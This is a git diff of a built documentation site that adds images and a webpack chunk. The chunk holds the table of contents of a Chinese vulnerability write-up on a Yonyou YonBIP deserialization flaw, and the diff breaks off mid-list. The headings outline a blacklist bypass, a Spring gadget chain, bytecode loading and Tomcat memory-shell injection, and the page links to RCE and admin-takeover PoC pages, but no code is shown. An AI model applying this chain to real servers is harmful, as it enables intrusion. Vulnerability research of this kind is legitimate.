a/en/assets/images/install06-9eae44f8976c87e4bddd142b1937fcf9.png b/en/assets/images/install06-9eae44f8976c87e4bddd142b1937fcf9.png new file mode 100644 index 0000000..2a4ca6f Binary files /dev/null and b/en/assets/images/install06-9eae44f8976c87e4bddd142b1937fcf9.png differ diff --git a/en/assets/images/interface03-0d4522f8a9f779e7c8a066b710c6d17e.png b/en/assets/images/interface03-0d4522f8a9f779e7c8a066b710c6d17e.png new file mode 100644 index 0000000..81780a5 Binary files /dev/null and b/en/assets/images/interface03-0d4522f8a9f779e7c8a066b710c6d17e.png differ diff --git a/en/assets/images/interface04-dce67b2e12962fe61b5e4d6e18724ecb.png b/en/assets/images/interface04-dce67b2e12962fe61b5e4d6e18724ecb.png new file mode 100644 index 0000000..32fa819 Binary files /dev/null and b/en/assets/images/interface04-dce67b2e12962fe61b5e4d6e18724ecb.png differ diff --git a/en/assets/images/layer2-dbfb8ad3c49d4c491b3622cfb7755c4a.png b/en/assets/images/layer2-dbfb8ad3c49d4c491b3622cfb7755c4a.png new file mode 100644 index 0000000..59fc33c Binary files /dev/null and b/en/assets/images/layer2-dbfb8ad3c49d4c491b3622cfb7755c4a.png differ diff --git a/en/assets/images/layer3-d3e9a6646c5772e26eb8810e694ad550.png b/en/assets/images/layer3-d3e9a6646c5772e26eb8810e694ad550.png new file mode 100644 index 0000000..7ee744f Binary files /dev/null and b/en/assets/images/layer3-d3e9a6646c5772e26eb8810e694ad550.png differ diff --git a/en/assets/images/layer4-21f600e7458fc961f559751bc9adcc4a.png b/en/assets/images/layer4-21f600e7458fc961f559751bc9adcc4a.png new file mode 100644 index 0000000..5120bc7 Binary files /dev/null and b/en/assets/images/layer4-21f600e7458fc961f559751bc9adcc4a.png differ diff --git a/en/assets/images/list-e5a945907d77250f9a68dab4a88173d3.png b/en/assets/images/list-e5a945907d77250f9a68dab4a88173d3.png new file mode 100644 index 0000000..c174455 Binary files /dev/null and b/en/assets/images/list-e5a945907d77250f9a68dab4a88173d3.png differ diff --git a/en/assets/images/logo2-f217077978820204e4fdcbbcadc61eda.jpg b/en/assets/images/logo2-f217077978820204e4fdcbbcadc61eda.jpg new file mode 100644 index 0000000..97acc51 Binary files /dev/null and b/en/assets/images/logo2-f217077978820204e4fdcbbcadc61eda.jpg differ diff --git a/en/assets/images/mac_install_go-78ef9274462840922eb6c8b9be929cb8.png b/en/assets/images/mac_install_go-78ef9274462840922eb6c8b9be929cb8.png new file mode 100644 index 0000000..efab2bc Binary files /dev/null and b/en/assets/images/mac_install_go-78ef9274462840922eb6c8b9be929cb8.png differ diff --git a/en/assets/images/main_compare-aefbdbcbf1a2461ad1570cbfcf42331e.png b/en/assets/images/main_compare-aefbdbcbf1a2461ad1570cbfcf42331e.png new file mode 100644 index 0000000..f8c7f40 Binary files /dev/null and b/en/assets/images/main_compare-aefbdbcbf1a2461ad1570cbfcf42331e.png differ diff --git a/en/assets/images/model_parllel-a891317fd16aa7c19ce8a5bffbb56039.png b/en/assets/images/model_parllel-a891317fd16aa7c19ce8a5bffbb56039.png new file mode 100644 index 0000000..ccb958a Binary files /dev/null and b/en/assets/images/model_parllel-a891317fd16aa7c19ce8a5bffbb56039.png differ diff --git a/en/assets/images/module_version_info-4014500eef7f9a67c9c6f97823e41a0e.png b/en/assets/images/module_version_info-4014500eef7f9a67c9c6f97823e41a0e.png new file mode 100644 index 0000000..dd30e42 Binary files /dev/null and b/en/assets/images/module_version_info-4014500eef7f9a67c9c6f97823e41a0e.png differ diff --git a/en/assets/images/node-a3181bdc49f091d1a4d0d75cedb89fd6.png b/en/assets/images/node-a3181bdc49f091d1a4d0d75cedb89fd6.png new file mode 100644 index 0000000..dd086aa Binary files /dev/null and b/en/assets/images/node-a3181bdc49f091d1a4d0d75cedb89fd6.png differ diff --git a/en/assets/images/osi-e82a7781ad767efc826edc5fad474152.png b/en/assets/images/osi-e82a7781ad767efc826edc5fad474152.png new file mode 100644 index 0000000..ff04245 Binary files /dev/null and b/en/assets/images/osi-e82a7781ad767efc826edc5fad474152.png differ diff --git a/en/assets/images/prompt-5d564648d27a39a7767664aa03e03484.png b/en/assets/images/prompt-5d564648d27a39a7767664aa03e03484.png new file mode 100644 index 0000000..199cbf3 Binary files /dev/null and b/en/assets/images/prompt-5d564648d27a39a7767664aa03e03484.png differ diff --git a/en/assets/images/ptr-d47d5c0edcbd2dea9b0c9ce19934c45c.png b/en/assets/images/ptr-d47d5c0edcbd2dea9b0c9ce19934c45c.png new file mode 100644 index 0000000..7bc871b Binary files /dev/null and b/en/assets/images/ptr-d47d5c0edcbd2dea9b0c9ce19934c45c.png differ diff --git a/en/assets/images/relative_pos_code-5159ba85629df87d521cf32bac858668.png b/en/assets/images/relative_pos_code-5159ba85629df87d521cf32bac858668.png new file mode 100644 index 0000000..10a3bc2 Binary files /dev/null and b/en/assets/images/relative_pos_code-5159ba85629df87d521cf32bac858668.png differ diff --git a/en/assets/images/reverse_shell-f949bf4c1cab3a020a0ab213a9352540.png b/en/assets/images/reverse_shell-f949bf4c1cab3a020a0ab213a9352540.png new file mode 100644 index 0000000..0e1e5eb Binary files /dev/null and b/en/assets/images/reverse_shell-f949bf4c1cab3a020a0ab213a9352540.png differ diff --git a/en/assets/images/rotate-55f1178d52b5faecbcaba9fc011c2662.png b/en/assets/images/rotate-55f1178d52b5faecbcaba9fc011c2662.png new file mode 100644 index 0000000..4659eef Binary files /dev/null and b/en/assets/images/rotate-55f1178d52b5faecbcaba9fc011c2662.png differ diff --git a/en/assets/images/screenshot-e03068e76a67aca3a37193deba005a3a.png b/en/assets/images/screenshot-e03068e76a67aca3a37193deba005a3a.png new file mode 100644 index 0000000..5f53f9d Binary files /dev/null and b/en/assets/images/screenshot-e03068e76a67aca3a37193deba005a3a.png differ diff --git a/en/assets/images/shidiannao-e0a656501afe481ac128bdbaa58d4241.jpg b/en/assets/images/shidiannao-e0a656501afe481ac128bdbaa58d4241.jpg new file mode 100644 index 0000000..6544a8b Binary files /dev/null and b/en/assets/images/shidiannao-e0a656501afe481ac128bdbaa58d4241.jpg differ diff --git a/en/assets/images/shidiannao2-d183677196b2de0894c88a6b8e21e997.jpg b/en/assets/images/shidiannao2-d183677196b2de0894c88a6b8e21e997.jpg new file mode 100644 index 0000000..17f416e Binary files /dev/null and b/en/assets/images/shidiannao2-d183677196b2de0894c88a6b8e21e997.jpg differ diff --git a/en/assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg b/en/assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg new file mode 100644 index 0000000..3ee3589 Binary files /dev/null and b/en/assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg differ diff --git a/en/assets/images/slice_01-09920412e708d7e10aee419407053295.png b/en/assets/images/slice_01-09920412e708d7e10aee419407053295.png new file mode 100644 index 0000000..82381dd Binary files /dev/null and b/en/assets/images/slice_01-09920412e708d7e10aee419407053295.png differ diff --git a/en/assets/images/slice_02-c8192ffbe0ef02f5e1b7709d9e9ee2ac.png b/en/assets/images/slice_02-c8192ffbe0ef02f5e1b7709d9e9ee2ac.png new file mode 100644 index 0000000..af179d9 Binary files /dev/null and b/en/assets/images/slice_02-c8192ffbe0ef02f5e1b7709d9e9ee2ac.png differ diff --git a/en/assets/images/socket-a1cba0624ced26704d6ba8ebdda68f06.png b/en/assets/images/socket-a1cba0624ced26704d6ba8ebdda68f06.png new file mode 100644 index 0000000..72b6249 Binary files /dev/null and b/en/assets/images/socket-a1cba0624ced26704d6ba8ebdda68f06.png differ diff --git a/en/assets/images/source_ok-97abc2f9efd153bace45613782d98fa2.png b/en/assets/images/source_ok-97abc2f9efd153bace45613782d98fa2.png new file mode 100644 index 0000000..1abd42b Binary files /dev/null and b/en/assets/images/source_ok-97abc2f9efd153bace45613782d98fa2.png differ diff --git a/en/assets/images/split-5840479b580542fbf7a93b799897c79e.png b/en/assets/images/split-5840479b580542fbf7a93b799897c79e.png new file mode 100644 index 0000000..a9fc790 Binary files /dev/null and b/en/assets/images/split-5840479b580542fbf7a93b799897c79e.png differ diff --git a/en/assets/images/ssh_tunnel_UI-fbd6efe54583b302cced933c73ea361c.png b/en/assets/images/ssh_tunnel_UI-fbd6efe54583b302cced933c73ea361c.png new file mode 100644 index 0000000..d2f8c82 Binary files /dev/null and b/en/assets/images/ssh_tunnel_UI-fbd6efe54583b302cced933c73ea361c.png differ diff --git a/en/assets/images/swanlab_hello_world-e03d035ee58db79578ebe9d45b94dd5d.png b/en/assets/images/swanlab_hello_world-e03d035ee58db79578ebe9d45b94dd5d.png new file mode 100644 index 0000000..20bab5a Binary files /dev/null and b/en/assets/images/swanlab_hello_world-e03d035ee58db79578ebe9d45b94dd5d.png differ diff --git a/en/assets/images/swanlab_login-6da8ac9a321f6267acc3ac4fba5bc134.png b/en/assets/images/swanlab_login-6da8ac9a321f6267acc3ac4fba5bc134.png new file mode 100644 index 0000000..8db2d6b Binary files /dev/null and b/en/assets/images/swanlab_login-6da8ac9a321f6267acc3ac4fba5bc134.png differ diff --git a/en/assets/images/swanlab_mnist_1-1fc246f048c3d00c9fac3a7cd2c4e010.png b/en/assets/images/swanlab_mnist_1-1fc246f048c3d00c9fac3a7cd2c4e010.png new file mode 100644 index 0000000..e1361b5 Binary files /dev/null and b/en/assets/images/swanlab_mnist_1-1fc246f048c3d00c9fac3a7cd2c4e010.png differ diff --git a/en/assets/images/swanlab_mnist_2-3ddd5bbcaa443b245f1cc92a62daf3b4.png b/en/assets/images/swanlab_mnist_2-3ddd5bbcaa443b245f1cc92a62daf3b4.png new file mode 100644 index 0000000..75d6f34 Binary files /dev/null and b/en/assets/images/swanlab_mnist_2-3ddd5bbcaa443b245f1cc92a62daf3b4.png differ diff --git a/en/assets/images/swanlab_yolo_1-18056c8c541e1065021c7ae3653ea780.png b/en/assets/images/swanlab_yolo_1-18056c8c541e1065021c7ae3653ea780.png new file mode 100644 index 0000000..a8f65fd Binary files /dev/null and b/en/assets/images/swanlab_yolo_1-18056c8c541e1065021c7ae3653ea780.png differ diff --git a/en/assets/images/swanlab_yolo_2-0fbfa1a29b096b08a664093fb15d4d20.png b/en/assets/images/swanlab_yolo_2-0fbfa1a29b096b08a664093fb15d4d20.png new file mode 100644 index 0000000..fb1a17b Binary files /dev/null and b/en/assets/images/swanlab_yolo_2-0fbfa1a29b096b08a664093fb15d4d20.png differ diff --git a/en/assets/images/swanlab_yolo_3-fda63f4a11b2e3a16f6f0ae91c1d5fd2.png b/en/assets/images/swanlab_yolo_3-fda63f4a11b2e3a16f6f0ae91c1d5fd2.png new file mode 100644 index 0000000..3b915ba Binary files /dev/null and b/en/assets/images/swanlab_yolo_3-fda63f4a11b2e3a16f6f0ae91c1d5fd2.png differ diff --git a/en/assets/images/table-4ce60677091cf4c2d5ffbf03c22184bf.png b/en/assets/images/table-4ce60677091cf4c2d5ffbf03c22184bf.png new file mode 100644 index 0000000..7393f35 Binary files /dev/null and b/en/assets/images/table-4ce60677091cf4c2d5ffbf03c22184bf.png differ diff --git a/en/assets/images/tb_hist-c15e8984d124d3b39c101875fe33b74c.png b/en/assets/images/tb_hist-c15e8984d124d3b39c101875fe33b74c.png new file mode 100644 index 0000000..8595edb Binary files /dev/null and b/en/assets/images/tb_hist-c15e8984d124d3b39c101875fe33b74c.png differ diff --git a/en/assets/images/tb_image-31cd531807cb58edfd129153e725a4fd.png b/en/assets/images/tb_image-31cd531807cb58edfd129153e725a4fd.png new file mode 100644 index 0000000..a376a63 Binary files /dev/null and b/en/assets/images/tb_image-31cd531807cb58edfd129153e725a4fd.png differ diff --git a/en/assets/images/tb_image_grid-755a0b360b30bc2429f0bab074d4c6a4.png b/en/assets/images/tb_image_grid-755a0b360b30bc2429f0bab074d4c6a4.png new file mode 100644 index 0000000..b6dc3e8 Binary files /dev/null and b/en/assets/images/tb_image_grid-755a0b360b30bc2429f0bab074d4c6a4.png differ diff --git a/en/assets/images/tb_images-0992316c79988f909f1143d61a003d5f.png b/en/assets/images/tb_images-0992316c79988f909f1143d61a003d5f.png new file mode 100644 index 0000000..382550a Binary files /dev/null and b/en/assets/images/tb_images-0992316c79988f909f1143d61a003d5f.png differ diff --git a/en/assets/images/tb_model-e9842181d50b387985013682f85f0d50.png b/en/assets/images/tb_model-e9842181d50b387985013682f85f0d50.png new file mode 100644 index 0000000..84cecad Binary files /dev/null and b/en/assets/images/tb_model-e9842181d50b387985013682f85f0d50.png differ diff --git a/en/assets/images/tb_scalar-2160e1879a5b77ec49dfa10a296dc319.png b/en/assets/images/tb_scalar-2160e1879a5b77ec49dfa10a296dc319.png new file mode 100644 index 0000000..0f8c8f4 Binary files /dev/null and b/en/assets/images/tb_scalar-2160e1879a5b77ec49dfa10a296dc319.png differ diff --git a/en/assets/images/tb_twolines-6c4bbd50a2e7aa3ce6ac4032be47c066.png b/en/assets/images/tb_twolines-6c4bbd50a2e7aa3ce6ac4032be47c066.png new file mode 100644 index 0000000..3c1ca38 Binary files /dev/null and b/en/assets/images/tb_twolines-6c4bbd50a2e7aa3ce6ac4032be47c066.png differ diff --git a/en/assets/images/torchaudio_feature_extractions-ad8a4ee648b7f7d7084bb8ca2870aa42.png b/en/assets/images/torchaudio_feature_extractions-ad8a4ee648b7f7d7084bb8ca2870aa42.png new file mode 100644 index 0000000..81bc7ab Binary files /dev/null and b/en/assets/images/torchaudio_feature_extractions-ad8a4ee648b7f7d7084bb8ca2870aa42.png differ diff --git a/en/assets/images/vit_cls_pos-26ef4ba5b2c3c795f3a292dc422423be.png b/en/assets/images/vit_cls_pos-26ef4ba5b2c3c795f3a292dc422423be.png new file mode 100644 index 0000000..5299b3f Binary files /dev/null and b/en/assets/images/vit_cls_pos-26ef4ba5b2c3c795f3a292dc422423be.png differ diff --git a/en/assets/images/vscode1-19b2bf87bcff59147b3c3e80150a19cf.gif b/en/assets/images/vscode1-19b2bf87bcff59147b3c3e80150a19cf.gif new file mode 100644 index 0000000..ac5e9d8 Binary files /dev/null and b/en/assets/images/vscode1-19b2bf87bcff59147b3c3e80150a19cf.gif differ diff --git a/en/assets/images/vscode_home-457928958889c5d715996ec4d55aa2f2.png b/en/assets/images/vscode_home-457928958889c5d715996ec4d55aa2f2.png new file mode 100644 index 0000000..900fae9 Binary files /dev/null and b/en/assets/images/vscode_home-457928958889c5d715996ec4d55aa2f2.png differ diff --git a/en/assets/images/vscode_menu-ded71d067fd55419bd69c091f0ef9929.png b/en/assets/images/vscode_menu-ded71d067fd55419bd69c091f0ef9929.png new file mode 100644 index 0000000..8e7733a Binary files /dev/null and b/en/assets/images/vscode_menu-ded71d067fd55419bd69c091f0ef9929.png differ diff --git a/en/assets/images/vscode_plugin-1666acd91203e8faed047f528bbca30a.png b/en/assets/images/vscode_plugin-1666acd91203e8faed047f528bbca30a.png new file mode 100644 index 0000000..5cdc800 Binary files /dev/null and b/en/assets/images/vscode_plugin-1666acd91203e8faed047f528bbca30a.png differ diff --git a/en/assets/images/vscode_shell1-d92eb0e53eada281e2ef0a8e5054768f.png b/en/assets/images/vscode_shell1-d92eb0e53eada281e2ef0a8e5054768f.png new file mode 100644 index 0000000..64c6bb1 Binary files /dev/null and b/en/assets/images/vscode_shell1-d92eb0e53eada281e2ef0a8e5054768f.png differ diff --git a/en/assets/images/vscode_shell2-209f754c65d23b1bfdcd6bb593412e1c.png b/en/assets/images/vscode_shell2-209f754c65d23b1bfdcd6bb593412e1c.png new file mode 100644 index 0000000..1c48549 Binary files /dev/null and b/en/assets/images/vscode_shell2-209f754c65d23b1bfdcd6bb593412e1c.png differ diff --git a/en/assets/images/vscode_shell3-6ff42e26ac39aa9d37ef684ee2df98d9.png b/en/assets/images/vscode_shell3-6ff42e26ac39aa9d37ef684ee2df98d9.png new file mode 100644 index 0000000..9a8fa67 Binary files /dev/null and b/en/assets/images/vscode_shell3-6ff42e26ac39aa9d37ef684ee2df98d9.png differ diff --git a/en/assets/images/vscode_shell4-a13979f63666d799df0b3e9ece572b36.png b/en/assets/images/vscode_shell4-a13979f63666d799df0b3e9ece572b36.png new file mode 100644 index 0000000..6083cc0 Binary files /dev/null and b/en/assets/images/vscode_shell4-a13979f63666d799df0b3e9ece572b36.png differ diff --git a/en/assets/images/wandb_api_keys-655593f49a7a94e044af754faab2009f.png b/en/assets/images/wandb_api_keys-655593f49a7a94e044af754faab2009f.png new file mode 100644 index 0000000..d3807b1 Binary files /dev/null and b/en/assets/images/wandb_api_keys-655593f49a7a94e044af754faab2009f.png differ diff --git a/en/assets/images/wandb_config-072adbf91f5f358b9124cfc382cf68b3.png b/en/assets/images/wandb_config-072adbf91f5f358b9124cfc382cf68b3.png new file mode 100644 index 0000000..44179be Binary files /dev/null and b/en/assets/images/wandb_config-072adbf91f5f358b9124cfc382cf68b3.png differ diff --git a/en/assets/images/wandb_sys-f5a137c31b65bf0c6c2883a244382f5e.png b/en/assets/images/wandb_sys-f5a137c31b65bf0c6c2883a244382f5e.png new file mode 100644 index 0000000..ec1d08c Binary files /dev/null and b/en/assets/images/wandb_sys-f5a137c31b65bf0c6c2883a244382f5e.png differ diff --git a/en/assets/images/wx-c929afc8a67986abc859278e2df19530-dc006f68547c257688264ee23b5bf8e5.png b/en/assets/images/wx-c929afc8a67986abc859278e2df19530-dc006f68547c257688264ee23b5bf8e5.png new file mode 100644 index 0000000..1f45b9f Binary files /dev/null and b/en/assets/images/wx-c929afc8a67986abc859278e2df19530-dc006f68547c257688264ee23b5bf8e5.png differ diff --git a/en/assets/images/xshell_set-4e0c80744c0e0cf118eb655774dd7016.png b/en/assets/images/xshell_set-4e0c80744c0e0cf118eb655774dd7016.png new file mode 100644 index 0000000..b44e57d Binary files /dev/null and b/en/assets/images/xshell_set-4e0c80744c0e0cf118eb655774dd7016.png differ diff --git a/en/assets/images/xshell_ui-41b57690e24a12dac89a2a93d97faea5.png b/en/assets/images/xshell_ui-41b57690e24a12dac89a2a93d97faea5.png new file mode 100644 index 0000000..7b9ecc0 Binary files /dev/null and b/en/assets/images/xshell_ui-41b57690e24a12dac89a2a93d97faea5.png differ diff --git a/en/assets/images/未命名-4300c28f4b9f5d689f56701ac3745f66.gif b/en/assets/images/未命名-4300c28f4b9f5d689f56701ac3745f66.gif new file mode 100644 index 0000000..15171e3 Binary files /dev/null and b/en/assets/images/未命名-4300c28f4b9f5d689f56701ac3745f66.gif differ diff --git a/en/assets/js/0035ff13.c8f416fd.js b/en/assets/js/0035ff13.c8f416fd.js new file mode 100644 index 0000000..28810de --- /dev/null +++ b/en/assets/js/0035ff13.c8f416fd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7975],{28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>a});var s=r(96540);const l={},t=s.createContext(l);function i(e){const n=s.useContext(t);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:i(e.components),s.createElement(t.Provider,{value:n},e.children)}},63834:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>c,contentTitle:()=>a,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/07.\u7528\u53cb/01.YonBIP/01.YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1).md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/07.\u7528\u53cb/01.YonBIP/01.YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/07.\u7528\u53cb/01.YonBIP/01.YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1).md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/"},"next":{"title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/"}}');var l=r(74848),t=r(28453);const i={},a="\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790",c={},d=[{value:"\u4e00\u3001\u6f0f\u6d1e\u6982\u8ff0",id:"\u4e00\u6f0f\u6d1e\u6982\u8ff0",level:2},{value:"\u4e8c\u3001NC SDS \u534f\u8bae\u6df1\u5ea6\u5206\u6790",id:"\u4e8cnc-sds-\u534f\u8bae\u6df1\u5ea6\u5206\u6790",level:2},{value:"2.1 \u534f\u8bae\u683c\u5f0f",id:"21-\u534f\u8bae\u683c\u5f0f",level:3},{value:"2.2 \u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\uff08\u4f2a\u4ee3\u7801\u8fd8\u539f\uff09",id:"22-\u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\u4f2a\u4ee3\u7801\u8fd8\u539f",level:3},{value:"2.3 Payload \u5c01\u88c5\u683c\u5f0f\uff08\u5b57\u8282\u7ea7\uff09",id:"23-payload-\u5c01\u88c5\u683c\u5f0f\u5b57\u8282\u7ea7",level:3},{value:"\u4e09\u3001NCObjectInputStream \u9ed1\u540d\u5355\u673a\u5236",id:"\u4e09ncobjectinputstream-\u9ed1\u540d\u5355\u673a\u5236",level:2},{value:"3.1 \u5b9e\u73b0\u539f\u7406",id:"31-\u5b9e\u73b0\u539f\u7406",level:3},{value:"3.2 \u76f4\u63a5\u5bf9\u6297\u6548\u679c",id:"32-\u76f4\u63a5\u5bf9\u6297\u6548\u679c",level:3},{value:"\u56db\u3001\u9ed1\u540d\u5355\u7ed5\u8fc7\uff1aSignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316",id:"\u56db\u9ed1\u540d\u5355\u7ed5\u8fc7signedobject-\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316",level:2},{value:"4.1 SignedObject \u7684\u7279\u6b8a\u6027",id:"41-signedobject-\u7684\u7279\u6b8a\u6027",level:3},{value:"4.2 \u7ed5\u8fc7\u793a\u610f",id:"42-\u7ed5\u8fc7\u793a\u610f",level:3},{value:"4.3 SignedObject \u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898",id:"43-signedobject-\u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898",level:3},{value:"\u4e94\u3001Spring AOP PriorityQueue \u94fe\u8be6\u89e3",id:"\u4e94spring-aop-priorityqueue-\u94fe\u8be6\u89e3",level:2},{value:"5.1 PriorityQueue.readObject() \u2192 heapify()",id:"51-priorityqueuereadobject--heapify",level:3},{value:"5.2 JdkDynamicAopProxy \u4f5c\u4e3a Comparator",id:"52-jdkdynamicaopproxy-\u4f5c\u4e3a-comparator",level:3},{value:"5.3 AspectJMethodBeforeAdvice \u2192 matches() \u2192 \u76ee\u6807\u65b9\u6cd5",id:"53-aspectjmethodbeforeadvice--matches--\u76ee\u6807\u65b9\u6cd5",level:3},{value:"5.4 \u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230 getObject() / getOutputProperties()",id:"54-\u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230-getobject--getoutputproperties",level:3},{value:"5.5 \u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\uff08\u5916\u5c42\u94fe\uff09",id:"55-\u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\u5916\u5c42\u94fe",level:3},{value:"\u516d\u3001AspectJExpressionPointcut SUID \u7248\u672c\u5dee\u5f02\u4e0e Patch",id:"\u516daspectjexpressionpointcut-suid-\u7248\u672c\u5dee\u5f02\u4e0e-patch",level:2},{value:"6.1 \u4e3a\u4ec0\u4e48\u9700\u8981 Patch SUID",id:"61-\u4e3a\u4ec0\u4e48\u9700\u8981-patch-suid",level:3},{value:"6.2 \u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d SUID",id:"62-\u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d-suid",level:3},{value:"6.3 Patch \u5b9e\u73b0\uff08\u5b57\u8282\u66ff\u6362\uff09",id:"63-patch-\u5b9e\u73b0\u5b57\u8282\u66ff\u6362",level:3},{value:"\u4e03\u3001TemplatesImpl \u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236",id:"\u4e03templatesimpl-\u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236",level:2},{value:"7.1 getOutputProperties() \u89e6\u53d1\u8def\u5f84",id:"71-getoutputproperties-\u89e6\u53d1\u8def\u5f84",level:3},{value:"7.2 defineTransletClasses() \u52a0\u8f7d\u6d41\u7a0b",id:"72-definetransletclasses-\u52a0\u8f7d\u6d41\u7a0b",level:3},{value:"7.3 TransletClassLoader \u7684\u4f5c\u7528\u57df",id:"73-transletclassloader-\u7684\u4f5c\u7528\u57df",level:3},{value:"\u516b\u3001TxlCarrier \u8bbe\u8ba1\uff1a\u4e3a\u4ec0\u4e48\u9700\u8981\u5047 AbstractTranslet",id:"\u516btxlcarrier-\u8bbe\u8ba1\u4e3a\u4ec0\u4e48\u9700\u8981\u5047-abstracttranslet",level:2},{value:"8.1 \u771f\u5b9e AbstractTranslet \u7684\u95ee\u9898",id:"81-\u771f\u5b9e-abstracttranslet-\u7684\u95ee\u9898",level:3},{value:"8.2 \u5047 AbstractTranslet \u65b9\u6848",id:"82-\u5047-abstracttranslet-\u65b9\u6848",level:3},{value:"8.3 \u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b",id:"83-\u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b",level:3},{value:"8.4 \u4e3a\u4ec0\u4e48\u5fc5\u987b -source 8 -target 8",id:"84-\u4e3a\u4ec0\u4e48\u5fc5\u987b--source-8--target-8",level:3},{value:"\u4e5d\u3001\u4ece Shell \u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d",id:"\u4e5d\u4ece-shell-\u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d",level:2},{value:"9.1 Java class \u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784",id:"91-java-class-\u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784",level:3},{value:"9.2 \u63d0\u53d6\u4ee3\u7801",id:"92-\u63d0\u53d6\u4ee3\u7801",level:3},{value:"\u5341\u3001Tomcat Filter \u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3",id:"\u5341tomcat-filter-\u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3",level:2},{value:"10.1 \u6ce8\u5165\u76ee\u6807\uff1aStandardContext",id:"101-\u6ce8\u5165\u76ee\u6807standardcontext",level:3},{value:"10.2 \u83b7\u53d6 StandardContext \u7684\u65b9\u6cd5",id:"102-\u83b7\u53d6-standardcontext-\u7684\u65b9\u6cd5",level:3},{value:"10.3 \u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c 